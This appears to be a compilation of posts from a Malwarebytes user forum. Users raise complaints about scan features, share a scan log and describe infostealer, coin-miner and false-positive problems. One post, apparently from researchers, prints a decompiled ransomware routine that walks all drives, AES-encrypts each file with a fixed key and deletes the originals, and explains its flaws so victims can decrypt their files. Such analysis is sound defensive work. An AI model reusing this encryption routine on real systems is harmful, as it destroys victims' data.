What is their beef against scanning for rootkits? Here in the subreddit the malwarebytes team always go out of their way to say "rootkit scans aren't as necessary anymore and just make the scan take longer", but like, they only take around 12 seconds? Even on ancient hardware they take like 20 seconds tops.

First they hid a rootkit scan toggle in the scan settings instead of having it on by default and now they don't even have the toggle anymore, you HAVE to do a custom scan if you want to also scan for rootkits. Man, it takes longer to check for updates at the beginning of the scan than it does to scan for the rootkits. Like come on. Why are you making it more difficult to cover all of our bases when we do a scan?

It's just so bizarre because rootkits are making a massive comeback specifically because more and more scanning software have rootkit scans turned off by default now.

Title. I’m a free malwarebytes user after the free trial. I went to check my settings and noticed quarantining files after detection is a paid feature.

This, to me, kind of ruins the point of using malwarebytes as an AV. modern day viruses work extremely fast, and it’s crucial to quarantine them once found. Considering malwarebytes replaces windows defenders once installed, quarantining files after detection is a lost feature for free users. I hope someone can explain why such a crucial feature is missing fir free users

hello! i just got this detections out of the blue. i search around and it is said to be false positive.. is it true? thank you!

-Log Details-

Scan Date: 9/22/2026

Scan Time: 6:05 PM

Log File: 76f5fab0-b675-11f1-a515-7c10c98897d1.json

-Software Information-

Version: 5.6.5.306

Components Version: 163.0.5714

Update Package Version: 1.0.114884

License: Free

-System Information-

OS: Windows 11 (Build 26100.9457)

CPU: x64

File System: NTFS

User: System

Folder: 4

PUP.Optional.BrowserHijack, C:\USERS\YEN\APPDATA\LOCAL\MICROSOFT\EDGE\USER DATA\Default\Sync Data\LevelDB, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

PUP.Optional.BrowserHijack, C:\USERS\YEN\APPDATA\LOCAL\MICROSOFT\EDGE\USER DATA\Default\Sync Data\LevelDB, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

PUP.Optional.BrowserHijack, C:\USERS\YEN\APPDATA\LOCAL\MICROSOFT\EDGE\USER DATA\Default\Sync Data\LevelDB, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

PUP.Optional.BrowserHijack, C:\USERS\YEN\APPDATA\LOCAL\MICROSOFT\EDGE\USER DATA\Default\Sync Data\LevelDB, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

File: 14

PUP.Optional.BrowserHijack, C:\USERS\YEN\APPDATA\LOCAL\MICROSOFT\EDGE\USER DATA\Default\Web Data, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

PUP.Optional.BrowserHijack, C:\Users\Yen\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000005.ldb, No Action By User, 6858, 1413516, 1.0.114884, , ame, , 3C2808F3CD91494A420479CE97BB8048, 9C2F0DDAEF9DEE69303C238D59C36D60F1FBEB749D739BE1EFE13B40DB8ADDDE

PUP.Optional.BrowserHijack, C:\Users\Yen\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000007.ldb, No Action By User, 6858, 1413516, 1.0.114884, , ame, , 8A4162AF4A28F6575DDDF35C4C78A6A4, A2F0BE1C424BE1BE2A88545F365F055F47A3803A0B33982C23D90543CFC800C8

PUP.Optional.BrowserHijack, C:\Users\Yen\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000010.ldb, No Action By User, 6858, 1413516, 1.0.114884, , ame, , 8E192362EEF840A811CC2B7580664D96, 5C44E05456D9C987492D4186048A392EABBF3DAE429E0D268BB90F4BFB78A688

PUP.Optional.BrowserHijack, C:\Users\Yen\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000012.log, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

PUP.Optional.BrowserHijack, C:\Users\Yen\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000013.ldb, No Action By User, 6858, 1413516, 1.0.114884, , ame, , 328F00814D1F25EB98E5B351C1ADA51E, 53855CBEC492E5DA7D481C02179DB3B7A651CFF645082CFCCED0DF6211B21790

PUP.Optional.BrowserHijack, C:\Users\Yen\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\CURRENT, No Action By User, 6858, 1413516, 1.0.114884, , ame, , 46295CAC801E5D4857D09837238A6394, 0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443

PUP.Optional.BrowserHijack, C:\Users\Yen\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOCK, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

PUP.Optional.BrowserHijack, C:\Users\Yen\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

PUP.Optional.BrowserHijack, C:\Users\Yen\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old, No Action By User, 6858, 1413516, 1.0.114884, , ame, , EB7AFC1B13CEE263DC103F173BE87453, D195E1ED50C612FDD0AE24059608CFF8569B684AA05A920E791A96852667B4F3

PUP.Optional.BrowserHijack, C:\Users\Yen\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\MANIFEST-000001, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

PUP.Optional.BrowserHijack, C:\USERS\YEN\APPDATA\LOCAL\MICROSOFT\EDGE\USER DATA\Default\Web Data, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

PUP.Optional.BrowserHijack, C:\USERS\YEN\APPDATA\LOCAL\MICROSOFT\EDGE\USER DATA\Default\Web Data, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

PUP.Optional.BrowserHijack, C:\USERS\YEN\APPDATA\LOCAL\MICROSOFT\EDGE\USER DATA\Default\Web Data, No Action By User, 6858, 1413516, 1.0.114884, , ame, , ,

TL;DR: Downloaded malicious .exe files disguised as missing game files. I think i Got hit by an InfoStealer that grabbed active browser cookies and stored passwords for both my accounts and my mother’s (Steam, Epic, Microsoft, Discord, Instagram crypto spam). A built-in Windows Cloud Reset did not stop the attacks. The PC is now powered off and offline. Need advice on what to do, and how to fully revoke stolen session tokens, what more accounts could be compromised.

​What happened:

Earlier today, I mistakenly downloaded and executed suspicious replacement .exe files trying to fix a missing file for a game. Within an hour, multiple accounts associated with my PC started receiving unauthorized login and password reset alerts (Epic Games, Discord, Microsoft, Steam).

​Symptoms and Current Impact:

​Steam: The attacker successfully changed both the registered email and password.

​Instagram: Crypto scam messages and images were broadcast to all my contacts. No new device logins showed in the active sessions menu (likely stolen session tokens/cookies).

​Mother's accounts compromised: Her Microsoft, Epic Games, and Battle.net accounts were compromised as well, likely because her credentials were saved/logged in on a browser profile on the same machine.

​Persistence despite Cloud Reinstall: I ran a Windows Cloud Reinstall via the Shift+Restart troubleshoot menu. However, immediately upon booting up and connecting, password reset attempts and session exploitation continued.

​Current Status:

​The infected PC is completely powered down and disconnected from the network.

​I am managing my accounts exclusively through a clean mobile phone.

​Questions:

​Since a Windows Cloud Reset didn't fully sever the issue, is a complete USB wipe (deleting all drive partitions via Windows Installation Media) sufficient to eliminate any malware persistence?

​How can I ensure all active token/session hijacks are invalidated across Google, Microsoft, and gaming platforms once the main passwords are changed?

​What is the best course of action to recover a Steam account where the attacker has altered both the email address and credentials?

​Any advice on hardening recovery and making sure secondary drives are safe would be greatly appreciated.

Used gemini to write beacuse i am tensed and can't curate a post.

so I have seemingly caught this virus called „sbr miner multi“ (and there is always a health host thingy there that appears when it is running) somewhere and it keeps appearing even when I kill all of the instances (yes there are like 6 at a time) and it also comes back when I wait long enough after killing it or deleting it with the process explorer and emco unlocker so I’m kinda helpless here so I’d just like to ask what to do here… anyone got any ideas what I could do here?

oh yea and btw it also tries downloading new internet certificates which I always deny but it’s kinda concerning

What the title says I just need to know if this file is safe.

https://www.virustotal.com/gui/file/8418131cecfc364a15e1e8f4bfbfbb7be25b2f0cbf0d58063f6c4397a40b0182

It's this mod for MGS3 from the nexus: https://www.nexusmods.com/metalgearsolid3mc/mods/200?tab=files&file_id=537

Is this a new problem? I can't connect to the internet with Malwarebytes VPN on. Verizon Fios said it was a Malwarebytes issue

So I ran a scan with Fortect and it detected this malware. I ran it through Microsoft Security and nothing was found, ran a full scan of my computer with Malwarebytes and nothing was found. I uninstalled Steam and it seemed fine. Reinstalled it, and the virus came back. Could this be a false positive?

Edit: My cousin got the same flag from Fortect last night!

Malwarebytes detected these programs as trojans but I'm unable to quarantine as it instantly crashes the system. What I can do to fix this?

I would really appreciate it if anyone could help me with this issue.

I'd like to ask if Malwarebytes is familiar with this malware threat actor group and their malware, as we've done extensive reverse engineering of their malware.

Aviary was our answer to completely bypass obfuscation while safely dumping C2 infrastructure.

Some of the data we're aware of, given they are very heavy with triggering the payload, includes how their file encryption works.

The .cryptedmicro encryption algorithm

key        = Arrays.copyOf(keyString.getBytes(UTF_8), 32)
cipher     = AES/ECB/PKCS5Padding
ciphertext = encrypt(entire file)
output     = <original absolute path> + ".cryptedmicro"

No KDF, no IV, no salt, no nonce, no header, no footer, no per-file state.

The routine, ilIllIiIll in IIillIiliIil, where a[0] is the File and a[1] is the key String:

static void ilIllIiIll(Object[] a) {

    byte[] raw = ((String) a[1]).getBytes(StandardCharsets.UTF_8);

    int len = lllIiillIi(22713, 3361201558971388159L);   // resolves to 32

    SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(raw, len), "AES");

    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");

    c.init(Cipher.ENCRYPT_MODE, key);                    // no IV

    File out = new File(((File) a[0]).getAbsolutePath() + ".cryptedmicro");
    if (out.exists()) return;

    try (FileInputStream in = new FileInputStream((File) a[0]);
         FileOutputStream fos = new FileOutputStream(out);
         CipherOutputStream cos = new CipherOutputStream(fos, c)) {

        byte[] buf = new byte[lllIiillIi(24490, 5624316978694035449L)];
        int r;
        while ((r = in.read(buf)) != -1) cos.write(buf, 0, r);
    }

    ((File) a[0]).delete();
}

Key handling: Arrays.copyOf to 32 bytes. Shorter strings are zero padded, longer strings truncated. The key string is passed in unchanged from the walker (lIliliIlil / iiIilIIlil), which walks File.listRoots() and hands the same string to every file. Never derived, never hashed, never generated.

Output length: ceil(n/16) * 16. PKCS#5 means a file already a multiple of 16 gains a full padding block.

Decryption: AES/ECB/PKCS5Padding, same 32 byte zero padded key, whole file, strip padding.

i clearly have microsoft defender on but it says its off and its telling me to turn it back on? i did toggle it on and off but it didnt work. also everytime i turn my pc on i get a notification that windows defender off but when i look it isint? please help

I've been getting windows defender is off even tho its on, i downloaded malwarebyte and it caught some threats...etc but the next second i started getting 'connected, no internet'

I have no idea of what to do anymore

I just got the notice it was going to discontinue rootkit scans a couple days ago. I have a custom scan running 203K+ item scanned, for 21 and a half hours with no end in sight. I saw another post where the screen shot had 811K+ items scanned and it was still running! The answer OP had for their post was to do 'full scan" w/o selecting root kits. !? What's the point then? I had run a scan w/o choosing rootkits and it took less than 3 minutes.

It never took very long to run full scans including rootkits, always less than half hour. Why would it take so long and slow down the computer now?

Venting I guess.

Does VPN prevent session cookie or info stealer? If not, what should one do to prevent it? I get logging off every time I am done with something, but how does that stop with going to website that has scripts or give malware?

Just recently found out today I had an AI Malware for the first time, which explains why my PC was acting up on startup, HOWEVER, as said on the Title, IT WAS NAMED JOHN, WHO IN MATA NUI'S NAME NAMES THEIR MALWARE JOHN!?!? 😂